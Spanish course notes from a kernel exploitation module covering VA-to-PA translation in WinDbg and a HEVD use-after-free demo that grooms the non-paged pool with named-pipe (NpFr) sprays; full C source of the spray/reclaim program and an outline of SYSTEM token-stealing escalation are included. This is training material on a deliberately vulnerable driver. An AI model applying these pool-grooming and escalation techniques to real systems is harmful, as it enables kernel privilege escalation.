Saltar a contenido

Clase 4 — Traducción VA→PA y reclaim del UAF de HEVD con pipes NpFr

Resumen: La clase arranca con una demo corta de traducción de una dirección virtual a dirección física usando !pte: leer el PTE, extraer el PFN, armar la physical address con el page offset y verificarla con comandos de memoria física (!db, !dq, etc.). Después se trabaja con una variante del exploit de Use-After-Free de HEVD que usa pipes como reclaimer: se crean muchos chunks NpFr del mismo bucket que el objeto Hack, se libera el objeto vulnerable y se fuerza que el chunk liberado sea reutilizado por NPFS. El objetivo de esta demo no es controlar RIP limpio, sino ver y entender el reuse del pool.

← Volver al Módulo 5 · ← Clase 3


Tabla de Contenidos

  1. Contexto de la clase
  2. Traducir virtual address a physical address con !pte
  3. Leer memoria física con comandos !d*
  4. Por qué importa la dirección física en explotación
  5. Demo principal — HEVD UAF reclaim con pipes
  6. Por qué el write size del pipe no es el chunk size final
  7. Estrategia de heap grooming del código
  8. Walkthrough en runtime con WinDbg
  9. Limitación clave — pipes sirven mejor para overflow que para este UAF
  10. Thread-name allocations como reclaimer alternativo
  11. De control parcial a read/write y escalada
  12. Análisis del código de referencia
  13. Código completo del demo
  14. Cheat sheet de la clase

1. Contexto de la clase

Se parte de una VM target con kernel debugging activo y HEVD cargado. La primera parte de la clase usa la base virtual de HEVD.sys como ejemplo para convertir una dirección virtual del kernel a memoria física.

La segunda parte retoma el Use-After-Free de HEVD visto en Clase 3, pero reemplaza el Allocate Fake Object del propio driver por un reclaimer externo: pipes. La idea es observar cómo el allocator reutiliza el chunk Hack liberado y lo transforma en un chunk NpFr.

Aclaración de acrónimos y tags

Nombre Significado Qué es
NPFS Named Pipe File System El componente/driver de Windows que implementa los named pipes (npfs.sys). Cuando user-mode llama CreatePipe, CreateNamedPipe, ReadFile o WriteFile sobre pipes, esas operaciones terminan siendo manejadas por NPFS en kernel.
NpFr NPFS pool tag asociado a buffers/fragmentos de pipe Un pool tag que aparece en WinDbg para ciertas allocations internas de NPFS. No es una estructura pública del SDK: es una etiqueta de 4 bytes que permite reconocer que ese chunk del kernel pool pertenece a pipes.
PFN Page Frame Number Número de frame físico de una página. En !pte, el PFN permite armar la dirección física: (PFN << 12) | page_offset.
PTE Page Table Entry Entrada de tabla de páginas que describe cómo una virtual address se traduce a una physical address y con qué permisos.

PFN en detalle

El PFN (Page Frame Number) es el número de la página física donde termina mapeando una virtual address. La memoria física se divide en páginas de 0x1000 bytes, entonces el PFN identifica qué página física es, pero no identifica el byte exacto dentro de esa página.

Para obtener la dirección física exacta se combinan dos partes:

Parte Sale de Qué representa
PFN << 12 PTE final Base física de la página
VA & 0xFFF Dirección virtual original Offset dentro de esa página

Fórmula:

physical_address = (PFN << 12) | (virtual_address & 0xFFF)

Por eso en clase se dijo "agregar tres ceros" al PFN: desplazar 12 bits a la izquierda equivale a multiplicar por 0x1000. Después se reemplazan esos tres últimos hex digits por el offset original de la VA.

Ejemplo:

VA original:       fffff805`12345678
page offset:                  0x678

PFN obtenido:      0x1a2b3c
PFN << 12:         0x1a2b3c000

PA final:          0x1a2b3c678

Tags importantes para esta demo:

Tag Origen Qué representa
Hack HEVD Objeto vulnerable alocado por el driver
NpFr NPFS (npfs.sys) Chunk de NonPagedPool usado por pipes; en esta clase se usa para reclamar el chunk Hack liberado

2. Traducir virtual address a physical address con !pte

El comando clave es:

0: kd> !pte <virtual_address>

Para una dirección de kernel no hay que cambiar de contexto: las direcciones kernel están mapeadas en todos los procesos. Para una dirección user-mode sí importa el proceso:

0: kd> .process /i <EPROCESS>
0: kd> g
0: kd> .reload /user
0: kd> db <user_va>
0: kd> !pte <user_va>

Workflow conceptual:

1. Leer bytes virtuales:
   db <VA>

2. Pedir traducción:
   !pte <VA>

3. Tomar el PFN del PTE final.

4. Calcular:
   physical_page_base = PFN << 12
   page_offset        = VA & 0xFFF
   PA                 = physical_page_base | page_offset

5. Verificar leyendo memoria física:
   !db <PA>

El profesor lo explicó como "copiar el PFN, agregarle tres ceros y reemplazar los últimos tres hex digits por los últimos tres de la dirección virtual". Es la misma cuenta:

PFN << 12      == PFN * 0x1000
VA & 0xFFF     == offset dentro de la página

Ejemplo genérico:

VA:        fffff805`12345010
page off:              010

PFN:       123abc
PFN<<12:   123abc000

PA:        123abc010

Regla: No se "pegan ceros" porque sí; se arma la base física de la página y se conserva el offset de 12 bits de la dirección virtual original.


3. Leer memoria física con comandos !d*

En WinDbg, los comandos normales de dump leen memoria virtual:

db <VA>
dq <VA>
dd <VA>

Con ! adelante, los comandos de display memory leen memoria física:

!db <PA>
!dq <PA>
!dd <PA>

Ejemplo con la base de HEVD:

0: kd> db <HEVD_base_va>
fffff805`....  4d 5a 90 00 ...

0: kd> !pte <HEVD_base_va>
...
contains <PTE final con PFN>

0: kd> !db <physical_address_calculada>
00000001`....  4d 5a 90 00 ...

Si la traducción está bien, los bytes coinciden. En el caso de un módulo PE como HEVD, los primeros bytes son:

4D 5A 90 00 ...

MZ indica el header DOS de un ejecutable PE.

Caveat: No todos los comandos con ! tienen que ver con memoria física. !process, !pool, !handle, !pte, etc. son extension commands. La regla de "con ! leo físico" aplica a los comandos de display memory como !db, !dq, !dd.


4. Por qué importa la dirección física en explotación

Normalmente los exploits kernel trabajan con direcciones virtuales. Pero hay drivers vulnerables que exponen primitivas sobre memoria física:

user input -> physical address
driver     -> mapea/copia/dumpea esa physical address

Si el driver vulnerable pide una physical address y el atacante quiere leer algo como un EPROCESS, primero necesita convertir:

EPROCESS virtual address -> physical address

Ejemplo de razonamiento:

1. Se obtiene/leakea la VA de un EPROCESS.
2. Con `!pte` o recorriendo tablas se obtiene el PFN.
3. Se arma la PA.
4. Se le pasa esa PA al driver vulnerable que dumpea memoria física.
5. Se recuperan campos del EPROCESS desde user-mode.

Esto aparece en bugs de drivers que mapean memoria física o exponen wrappers inseguros alrededor de APIs como MmMapIoSpace.


5. Demo principal — HEVD UAF reclaim con pipes

El objetivo del código de la clase:

1. Crear muchas allocations `NpFr` usando pipes.
2. Dejar huecos en el bucket correcto.
3. Alocar el objeto UAF de HEVD (`Hack`) dentro de uno de esos huecos.
4. Liberar el objeto HEVD, dejando el dangling pointer.
5. Crear más pipes para que un chunk `NpFr` reclame esa dirección.
6. Confirmar con `!pool` que la dirección vieja de `Hack` ahora pertenece a `NpFr`.

La limitación intencional del demo:

NPFS agrega metadata al inicio del chunk `NpFr`.
El primer qword del chunk no queda bajo control directo del usuario.

Por eso esta variante sirve para demostrar reuse/reclaim, pero no para controlar el callback de HEVD limpiamente cuando el callback está al comienzo del objeto.


6. Por qué el write size del pipe no es el chunk size final

En el código:

#define TARGET_POOL_CHUNK_SIZE      0x70
#define DEFAULT_PIPE_WRITE_SIZE     0x28

La intuición incorrecta sería:

quiero chunk 0x70 -> escribo 0x70 bytes

Pero con pipes no funciona así. NPFS necesita metadata propia dentro del chunk. Entonces el tamaño que se pasa a WriteFile se combina con overhead interno:

pipe write data + metadata NPFS + alineación/pool header -> chunk final

En la clase:

WriteFile size 0x28  -> chunk final aprox. 0x60/0x70 en Win7 x64
WriteFile size 0x30  -> chunk final aprox. 0x70 en varias Win10/Win11

La forma correcta de ajustar esto no es memorizarlo, sino observar:

!poolfind NpFr -nonpaged
!pool <addr_de_NpFr>

o usar PoolMonX para ver qué tamaño real produce cada write size.


7. Estrategia de heap grooming del código

El programa hace tres sprays:

Fase Count default Marker Objetivo
defrag 8000 0x44 (D) Llenar huecos previos del bucket
seq 16000 0x53 (S) Crear una zona densa de chunks NpFr
reclaim 8000 0x52 (R) Reocupar el chunk recién liberado de HEVD

Flujo:

[2] Defrag spray
    Llena huecos existentes para estabilizar el bucket.

[3] Sequential spray
    Mete muchos chunks `NpFr` del mismo tamaño.

[4] Hole punching
    Libera una pipe de cada dos.

[5] Allocate HEVD UAF object
    El objeto `Hack` intenta caer en alguno de esos holes.

[6] Free HEVD UAF object
    El chunk queda libre, pero la global de HEVD queda dangling.

[7] Reclaim spray
    Pipes nuevas intentan ocupar el chunk `Hack` recién liberado.

[8] Trigger UAF
    HEVD usa el dangling pointer; puede crashear porque el callback no está controlado limpio.

Visual:

Sequential spray:
  [NpFr][NpFr][NpFr][NpFr][NpFr][NpFr]

Hole punching:
  [FREE][NpFr][FREE][NpFr][FREE][NpFr]

HEVD allocate:
  [Hack][NpFr][FREE][NpFr][FREE][NpFr]

HEVD free:
  [FREE][NpFr][FREE][NpFr][FREE][NpFr]
    ^
    dangling pointer de HEVD sigue apuntando acá

Reclaim spray:
  [NpFr][NpFr][NpFr][NpFr][NpFr][NpFr]
    ^
    la dirección vieja de Hack ahora es NpFr

8. Walkthrough en runtime con WinDbg

Antes de liberar

Después de ALLOCATE_UAF_OBJECT, el programa pausa:

Sugerido: !poolfind Hack -nonpaged ; !pool <addr>

Comandos:

0: kd> !poolfind Hack -nonpaged
0: kd> !pool <direccion_hack>

Esperado:

*<addr> size: 70 previous size: ...
        Pooltag Hack
        allocated

Alrededor deberían aparecer varios NpFr:

0: kd> !pool <direccion_cercana>
...
NpFr
NpFr
Hack
NpFr
...

Después del free

Luego de FREE_UAF_OBJECT:

0: kd> !pool <direccion_hack>

Esperado:

Pooltag Hack
free

El contenido del chunk puede seguir siendo parecido. free no significa que los bytes se borren inmediatamente; significa que el allocator puede reutilizar ese slot.

Después del reclaim spray

Después del spray reclaim:

0: kd> !pool <direccion_vieja_hack>
0: kd> dq <direccion_vieja_hack> L20

Esperado:

Pooltag NpFr
allocated

y más adelante en el chunk deberían aparecer bytes 0x52 (R), porque el reclaim spray usa:

SprayMany(reclaim, reclaimTarget, pipeWriteSize, 0x52, "reclaim");

La dirección vieja de Hack ya no pertenece a HEVD. Ahora pertenece a NPFS.

Evitar BSoD al triggerear

El programa finalmente llama:

CallIoctl(hDevice, IOCTL_USE_UAF_OBJECT, "USE_UAF_OBJECT");

Como el primer campo no queda controlado limpiamente, puede terminar en un call rcx / call rax hacia basura. Para iterar sin reiniciar la VM, poner breakpoint en el call indirecto y saltearlo:

0: kd> u <UseUaFObject> L20
...
call    rcx        ; o call qword ptr [rax]
<next_instruction>

0: kd> bp <addr_del_call>
0: kd> g

; cuando breakea:
0: kd> r
0: kd> r rip = <next_instruction>
0: kd> g

Esto es solo para debugging. Para explotación real, eventualmente hay que dejar correr el path útil.


9. Limitación clave — pipes sirven mejor para overflow que para este UAF

En este UAF de HEVD, el campo crítico está al inicio:

typedef struct _UAF_OBJECT {
    void (*Callback)(void);  // offset 0
    char Data[...];
} UAF_OBJECT;

Pero en un chunk NpFr, la primera parte es metadata de NPFS. El usuario controla el contenido más abajo, no el primer qword.

chunk NpFr:
  +0x00 metadata NPFS / punteros internos       <- no control limpio
  +0x?? datos escritos con WriteFile            <- controlado por user

Conclusión:

Bug Pipes como reclaimer
UAF con callback/vtable en offset 0x00 Malo: el primer qword no queda controlado
UAF que usa campos más abajo Puede servir, si el campo cae en zona controlada
Pool overflow Muy bueno: se pueden poner pipes alrededor y corromper metadata/punteros de NpFr

El profesor remarcó que para pool overflow los pipes son especialmente útiles: si el objeto vulnerable queda rodeado de chunks NpFr, el overflow puede pisar punteros internos de una pipe.


10. Thread-name allocations como reclaimer alternativo

Para UAFs donde se necesita controlar desde el inicio del chunk, una alternativa mencionada fue usar objetos asociados a threads:

1. Crear threads.
2. Guardar sus handles.
3. Cambiarles el nombre/descripción con una string larga.
4. El kernel aloca un chunk para esa string.
5. El contenido y tamaño son muy controlables.

Ventaja:

El chunk puede empezar directamente con bytes controlados por la string.

Desventaja:

No se pueden crear cantidades enormes de threads sin volver pesada/inestable la VM.

Comparativa:

Primitive Control de contenido Cantidad tolerable Mejor uso
Pipes NpFr Parcial: metadata al inicio Muy alta Pool grooming / overflow
Thread names Mejor desde el inicio Más limitada UAF con callback al inicio

11. De control parcial a read/write y escalada

La clase también deja planteada la idea de convertir corrupción de objetos en primitivas de lectura/escritura.

Con pipes, el caso conceptual es:

1. Un chunk `NpFr` contiene punteros internos a buffers/strings.
2. Un overflow pisa alguno de esos punteros.
3. Una API de pipe lee o escribe usando ese puntero.
4. El atacante convierte corrupción de puntero en read/write sobre direcciones kernel.

Con read/write kernel, el camino clásico de escalada:

1. Leer `EPROCESS` propio y `EPROCESS` de SYSTEM.
2. Leer el token de SYSTEM.
3. Escribirlo sobre el token del proceso actual.
4. Obtener SYSTEM.

Otra variante mencionada:

Modificar campos de privilegios dentro del token.

En lugar de reemplazar todo el token, se pueden habilitar privilegios como SeDebugPrivilege y después inyectar/abrir procesos privilegiados. En builds modernas hay varios campos relacionados con privilegios, por lo que hay que entender el layout exacto del _TOKEN del target.

También se mencionó la estrategia de saltar a gadgets o fragmentos de funciones existentes en kernel: si un UAF permite controlar registros/campos, puede buscarse una secuencia que haga una escritura útil sin ejecutar shellcode propio. Esto es importante porque ejecutar código propio en kernel moderno está cada vez más limitado por SMEP, SMAP, KASLR, kCFG, HVCI, etc.


12. Análisis del código de referencia

IOCTLs usados

#define IOCTL_ALLOCATE_UAF_OBJECT   0x222053
#define IOCTL_FREE_UAF_OBJECT       0x22205B
#define IOCTL_USE_UAF_OBJECT        0x222057

Estos son los IOCTLs del camino UaF NonPagedPoolNx en builds modernas de HEVD.

La variante clásica NonPagedPool puede usar:

ALLOC 0x222013
USE   0x222017
FREE  0x22201B

FillPayload

static void FillPayload(BYTE* payload, DWORD size, BYTE marker) {
    memset(payload, marker, size);

    if (size >= 16) {
        *(uint64_t*)(payload + 8) = 0x4E7046724E704672ULL; /* "rFpNrFpN" LE */
    }
}

Llena el buffer con un marker (D, S, R) para poder reconocerlo en WinDbg. El qword en payload + 8 deja una marca relacionada con NpFr en little-endian para ubicar visualmente la zona controlada.

SprayOnePipe

Hace una unidad de spray:

1. Reserva payload en heap user-mode.
2. Lo llena con marker.
3. Crea un pipe con `CreatePipe`.
4. Escribe `writeSize` bytes con `WriteFile`.
5. No lee del pipe.

Punto clave:

Mientras los bytes quedan pendientes de lectura, NPFS mantiene una allocation `NpFr` en NonPagedPool.

SprayMany

Repite SprayOnePipe miles de veces. Guarda los handles para poder liberar selectivamente:

if ((created % 2000) == 0) {
    printf("    -> %d pipes\n", created);
}

PunchEveryOtherHole

Libera una pipe de cada dos:

for (int i = 0; i < count; i += 2) {
    ClosePipePair(&pipes[i]);
}

Esto crea holes en el bucket. No garantiza layout perfecto, pero aumenta la probabilidad de que el objeto Hack caiga cerca o dentro de la zona groomed.

CallIoctl

Wrapper para llamar los IOCTLs de HEVD sin input/output buffers:

DeviceIoControl(hDevice, ioctl, NULL, 0, NULL, 0, &bytesReturned, NULL);

Para esta demo alcanza porque los tres IOCTLs usados (allocate, free, use) no necesitan payload desde user-mode.

Parámetros por CLI

hevd_uaf_pipe_reclaim_demo.exe
hevd_uaf_pipe_reclaim_demo.exe 0x30
hevd_uaf_pipe_reclaim_demo.exe 0x30 8000 16000 8000

Formato:

argv[1] -> pipeWriteSize
argv[2] -> defrag count
argv[3] -> sequential count
argv[4] -> reclaim count

Esto permite ajustar el bucket sin recompilar.


13. Código completo del demo

#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

/*
    HEVD UAF NonPagedPoolNx - pipe/NpFr reclaim demo

    Objetivo de esta version:
      - usar pipes para crear allocations NpFr del mismo bucket que el objeto UAF
      - liberar el objeto HEVD
      - volver a ocupar el chunk libre con pipes

    Limitacion intencional:
      - NPFS pone metadata al inicio del chunk NpFr, asi que el primer qword no
        queda bajo nuestro control directo como Callback.
      - Esto sirve para demostrar reuse/reclaim del chunk, no control limpio de RIP.
*/

#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"

/* IOCTLs del camino UaF NonPagedPoolNx en builds modernas de HEVD. */
#define IOCTL_ALLOCATE_UAF_OBJECT   0x222053
#define IOCTL_FREE_UAF_OBJECT       0x22205B
#define IOCTL_USE_UAF_OBJECT        0x222057

/*
   Si tu build usa el UaF NonPagedPool clasico, probablemente sean:
     ALLOC 0x222013
     USE   0x222017
     FREE  0x22201B
*/

#define TARGET_POOL_CHUNK_SIZE      0x70

/*
   Para un chunk total 0x70 con tag NpFr, el write suele ser 0x28 en Win7 x64
   y 0x30 en varias builds Win10/Win11. Confirmalo con PoolMonX o !poolfind NpFr.

   Uso:
     hevd_uaf_pipe_reclaim_demo.exe
     hevd_uaf_pipe_reclaim_demo.exe 0x30
*/
#define DEFAULT_PIPE_WRITE_SIZE     0x28

#define DEFAULT_DEFRAG_COUNT        8000
#define DEFAULT_SEQ_COUNT           16000
#define DEFAULT_RECLAIM_COUNT       8000

typedef struct _PIPE_PAIR {
    HANDLE Read;
    HANDLE Write;
} PIPE_PAIR;

static int IsValidHandle(HANDLE h) {
    return h != NULL && h != INVALID_HANDLE_VALUE;
}

static void ClosePipePair(PIPE_PAIR* p) {
    if (!p) {
        return;
    }

    if (IsValidHandle(p->Read)) {
        CloseHandle(p->Read);
    }

    if (IsValidHandle(p->Write)) {
        CloseHandle(p->Write);
    }

    p->Read = INVALID_HANDLE_VALUE;
    p->Write = INVALID_HANDLE_VALUE;
}

static void InitPipeArray(PIPE_PAIR* pipes, int count) {
    for (int i = 0; i < count; i++) {
        pipes[i].Read = INVALID_HANDLE_VALUE;
        pipes[i].Write = INVALID_HANDLE_VALUE;
    }
}

static void ClosePipeArray(PIPE_PAIR* pipes, int count) {
    if (!pipes) {
        return;
    }

    for (int i = 0; i < count; i++) {
        ClosePipePair(&pipes[i]);
    }
}

static void FillPayload(BYTE* payload, DWORD size, BYTE marker) {
    memset(payload, marker, size);

    if (size >= 8) {
        memset(payload, marker, 8);
    }

    if (size >= 16) {
        *(uint64_t*)(payload + 8) = 0x4E7046724E704672ULL; /* "rFpNrFpN" LE */
    }
}

static BOOL SprayOnePipe(PIPE_PAIR* p, DWORD writeSize, BYTE marker) {
    DWORD bytesWritten = 0;
    BYTE* payload = NULL;

    p->Read = INVALID_HANDLE_VALUE;
    p->Write = INVALID_HANDLE_VALUE;

    payload = (BYTE*)HeapAlloc(GetProcessHeap(), 0, writeSize);
    if (!payload) {
        printf("[!] HeapAlloc fallo para payload de 0x%lX bytes\n", writeSize);
        return FALSE;
    }

    FillPayload(payload, writeSize, marker);

    if (!CreatePipe(&p->Read, &p->Write, NULL, writeSize)) {
        printf("[!] CreatePipe fallo: %lu\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, payload);
        return FALSE;
    }

    /*
       No leer del pipe. Mientras los bytes quedan pendientes, NPFS mantiene
       una allocation NpFr en NonPagedPool.
    */
    if (!WriteFile(p->Write, payload, writeSize, &bytesWritten, NULL) ||
        bytesWritten != writeSize) {
        printf("[!] WriteFile fallo: gle=%lu written=0x%lX expected=0x%lX\n",
            GetLastError(), bytesWritten, writeSize);
        ClosePipePair(p);
        HeapFree(GetProcessHeap(), 0, payload);
        return FALSE;
    }

    HeapFree(GetProcessHeap(), 0, payload);
    return TRUE;
}

static int SprayMany(PIPE_PAIR* pipes, int maxCount, DWORD writeSize, BYTE marker, const char* label) {
    int created = 0;

    printf("[*] Spray %-8s count=%d writeSize=0x%lX marker=0x%02X\n",
        label, maxCount, writeSize, marker);

    for (int i = 0; i < maxCount; i++) {
        if (!SprayOnePipe(&pipes[created], writeSize, marker)) {
            printf("[!] Spray %s frenado en %d/%d\n", label, created, maxCount);
            break;
        }

        created++;

        if ((created % 2000) == 0) {
            printf("    -> %d pipes\n", created);
        }
    }

    printf("[+] Spray %-8s creado: %d pipes\n", label, created);
    return created;
}

static int PunchEveryOtherHole(PIPE_PAIR* pipes, int count) {
    int holes = 0;

    printf("[*] Liberando una pipe de cada dos en el spray secuencial...\n");

    for (int i = 0; i < count; i += 2) {
        ClosePipePair(&pipes[i]);
        holes++;
    }

    printf("[+] Holes creados: %d\n", holes);
    return holes;
}

static BOOL CallIoctl(HANDLE hDevice, DWORD ioctl, const char* name) {
    DWORD bytesReturned = 0;
    BOOL ok;

    SetLastError(0);
    ok = DeviceIoControl(
        hDevice,
        ioctl,
        NULL,
        0,
        NULL,
        0,
        &bytesReturned,
        NULL
    );

    printf("    %-28s ioctl=0x%08lX -> %s br=%lu gle=%lu\n",
        name, ioctl, ok ? "OK" : "FAIL", bytesReturned, ok ? 0 : GetLastError());

    return ok;
}

static DWORD ParseDwordArg(char** argv, int argc, int index, DWORD fallback) {
    char* end = NULL;
    unsigned long value;

    if (argc <= index) {
        return fallback;
    }

    value = strtoul(argv[index], &end, 0);
    if (!end || *end != '\0' || value == 0) {
        return fallback;
    }

    return (DWORD)value;
}

int main(int argc, char** argv) {
    HANDLE hDevice = INVALID_HANDLE_VALUE;
    PIPE_PAIR* defrag = NULL;
    PIPE_PAIR* sequential = NULL;
    PIPE_PAIR* reclaim = NULL;

    DWORD pipeWriteSize = ParseDwordArg(argv, argc, 1, DEFAULT_PIPE_WRITE_SIZE);
    int defragTarget = (int)ParseDwordArg(argv, argc, 2, DEFAULT_DEFRAG_COUNT);
    int seqTarget = (int)ParseDwordArg(argv, argc, 3, DEFAULT_SEQ_COUNT);
    int reclaimTarget = (int)ParseDwordArg(argv, argc, 4, DEFAULT_RECLAIM_COUNT);

    int defragCount = 0;
    int seqCount = 0;
    int reclaimCount = 0;

    printf("============================================================\n");
    printf(" HEVD UAF - NonPagedPool reclaim demo usando pipes / NpFr\n");
    printf("============================================================\n");
    printf("[*] Target HEVD chunk total esperado: 0x%X\n", TARGET_POOL_CHUNK_SIZE);
    printf("[*] Pipe WriteFile size:             0x%lX\n", pipeWriteSize);
    printf("[*] Counts: defrag=%d seq=%d reclaim=%d\n\n",
        defragTarget, seqTarget, reclaimTarget);

    printf("[1] Abriendo driver: %s\n", DEVICE_NAME);
    hDevice = CreateFileA(
        DEVICE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[!] No se pudo abrir el driver. gle=%lu\n", GetLastError());
        printf("    Revisa nombre del device, servicio cargado y permisos admin.\n");
        return 1;
    }

    defrag = (PIPE_PAIR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PIPE_PAIR) * defragTarget);
    sequential = (PIPE_PAIR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PIPE_PAIR) * seqTarget);
    reclaim = (PIPE_PAIR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PIPE_PAIR) * reclaimTarget);

    if (!defrag || !sequential || !reclaim) {
        printf("[!] No se pudo reservar memoria para arrays de handles.\n");
        goto Cleanup;
    }

    InitPipeArray(defrag, defragTarget);
    InitPipeArray(sequential, seqTarget);
    InitPipeArray(reclaim, reclaimTarget);

    printf("\n[2] Defrag spray: llenar huecos previos del bucket.\n");
    defragCount = SprayMany(defrag, defragTarget, pipeWriteSize, 0x44, "defrag");

    printf("\n[3] Sequential spray: crear una zona densa de chunks NpFr.\n");
    seqCount = SprayMany(sequential, seqTarget, pipeWriteSize, 0x53, "seq");

    printf("\n[4] Hole punching.\n");
    PunchEveryOtherHole(sequential, seqCount);

    printf("\n[5] Allocate HEVD UAF object. Deberia caer en algun hole 0x70.\n");
    CallIoctl(hDevice, IOCTL_ALLOCATE_UAF_OBJECT, "ALLOCATE_UAF_OBJECT");

    printf("\n[PAUSA] Mira DebugView/WinDbg para la direccion Hack si queres.\n");
    printf("        Sugerido: !poolfind Hack -nonpaged ; !pool <addr>\n");
    printf("        ENTER para liberar el objeto HEVD...\n");
    getchar();

    printf("\n[6] Free HEVD UAF object. El global queda dangling.\n");
    if (!CallIoctl(hDevice, IOCTL_FREE_UAF_OBJECT, "FREE_UAF_OBJECT")) {
        goto Cleanup;
    }

    printf("\n[7] Reclaim spray: pipes nuevas intentan ocupar el chunk recien liberado.\n");
    reclaimCount = SprayMany(reclaim, reclaimTarget, pipeWriteSize, 0x52, "reclaim");

    printf("\n[PAUSA] Ahora el chunk Hack liberado deberia haber sido reutilizado por NpFr.\n");
    printf("        En WinDbg usa la direccion vieja de g_UseAfterFreeObject*:\n");
    printf("          !pool <direccion_vieja>\n");
    printf("          dq <direccion_vieja> L20\n");
    printf("        Esperado: tag/tamano de NpFr y patron 0x52 mas adelante en el chunk.\n");
    printf("        ENTER para llamar USE_UAF_OBJECT. Puede crashear por callback basura...\n");
    getchar();

    printf("\n[8] Trigger UAF. No esperamos control limpio de RIP con pipes solamente.\n");
    CallIoctl(hDevice, IOCTL_USE_UAF_OBJECT, "USE_UAF_OBJECT");

    printf("\n[!] Si volviste aca, no crasheo. Igual revisa WinDbg para confirmar reuse.\n");

Cleanup:
    printf("\n[*] Cleanup\n");
    ClosePipeArray(reclaim, reclaimCount);
    ClosePipeArray(sequential, seqCount);
    ClosePipeArray(defrag, defragCount);

    if (reclaim) {
        HeapFree(GetProcessHeap(), 0, reclaim);
    }

    if (sequential) {
        HeapFree(GetProcessHeap(), 0, sequential);
    }

    if (defrag) {
        HeapFree(GetProcessHeap(), 0, defrag);
    }

    if (hDevice != INVALID_HANDLE_VALUE) {
        CloseHandle(hDevice);
    }

    return 0;
}

14. Cheat sheet de la clase

VA a PA

db <VA>                  ; leer virtual
!pte <VA>                ; ver PTE y PFN
PA = (PFN << 12) | (VA & 0xFFF)
!db <PA>                 ; leer físico
!dq <PA>                 ; leer físico como qwords

User-mode VA

.process /i <EPROCESS>
g
.reload /user
db <user_va>
!pte <user_va>

Pool / tags

!poolfind Hack -nonpaged
!poolfind NpFr -nonpaged
!pool <addr>
dq <addr> L20
db <addr> L80

Demo HEVD + pipes

ALLOCATE_UAF_OBJECT 0x222053
FREE_UAF_OBJECT     0x22205B
USE_UAF_OBJECT      0x222057

Defrag spray    -> marker 0x44 ('D')
Sequential spray -> marker 0x53 ('S')
Reclaim spray   -> marker 0x52 ('R')

Reglas de la clase

Regla Motivo
!pte da el PFN; PFN + offset da la PA Traducción rápida sin recorrer tablas a mano
!db / !dq leen memoria física Útil para verificar traducciones
El write size del pipe no es el chunk final NPFS suma metadata y el allocator redondea
NpFr demuestra reclaim, no RIP control limpio en este UAF El inicio del chunk no queda controlado por user
Pipes son muy buenos para pool overflow Permiten rodear el objeto vulnerable con chunks manipulables
Si el call indirecto crashea, saltear RIP durante debugging Evita reiniciar la VM mientras se estudia el layout